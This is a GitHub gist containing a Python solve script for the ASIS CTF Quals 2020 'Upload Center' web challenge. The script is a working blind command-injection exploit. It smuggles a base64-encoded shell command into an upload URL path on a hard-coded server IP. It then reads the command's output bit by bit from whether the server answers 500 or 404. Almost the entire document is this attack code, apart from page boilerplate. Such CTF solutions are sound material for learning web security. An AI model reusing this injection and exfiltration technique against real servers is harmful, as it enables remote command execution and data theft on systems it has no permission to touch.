Last active
April 8, 2021 11:57
-
-
Save st98/f1c4d7e98586a4f89b3cad5f2f39b131 to your computer and use it in GitHub Desktop.
ASIS CTF Quals 2020 - Upload Center
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import base64 | |
import requests | |
import time | |
COMMAND = 'ls' | |
### | |
result = '' | |
i = len(result) + 1 | |
while True: | |
c = 0 | |
for j in range(7): | |
while True: | |
url = '''http://66.172.12.177:5100/uploads/52277648bbf448168b31cd89bdbe90ab;x=`eval%20$(echo%20'COMMAND'|base64%20-d)`;a=$(printf%20'%25d'%20%5C'`echo%20$x|base64|tr%20-d%20'%5Cn'|cut%20-bAAAAA`);exit%20$((a&BBBBB))/x'''.replace('COMMAND', base64.b64encode(COMMAND.encode()).decode()).replace('AAAAA', str(i)).replace('BBBBB', str(1<<j)) | |
req = requests.get(url) | |
time.sleep(.8) | |
if req.status_code == 500: | |
break | |
elif req.status_code == 404: | |
c |= 1 << j | |
break | |
else: | |
print('wtf') | |
result += chr(c) | |
print(result) | |
i += 1 |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment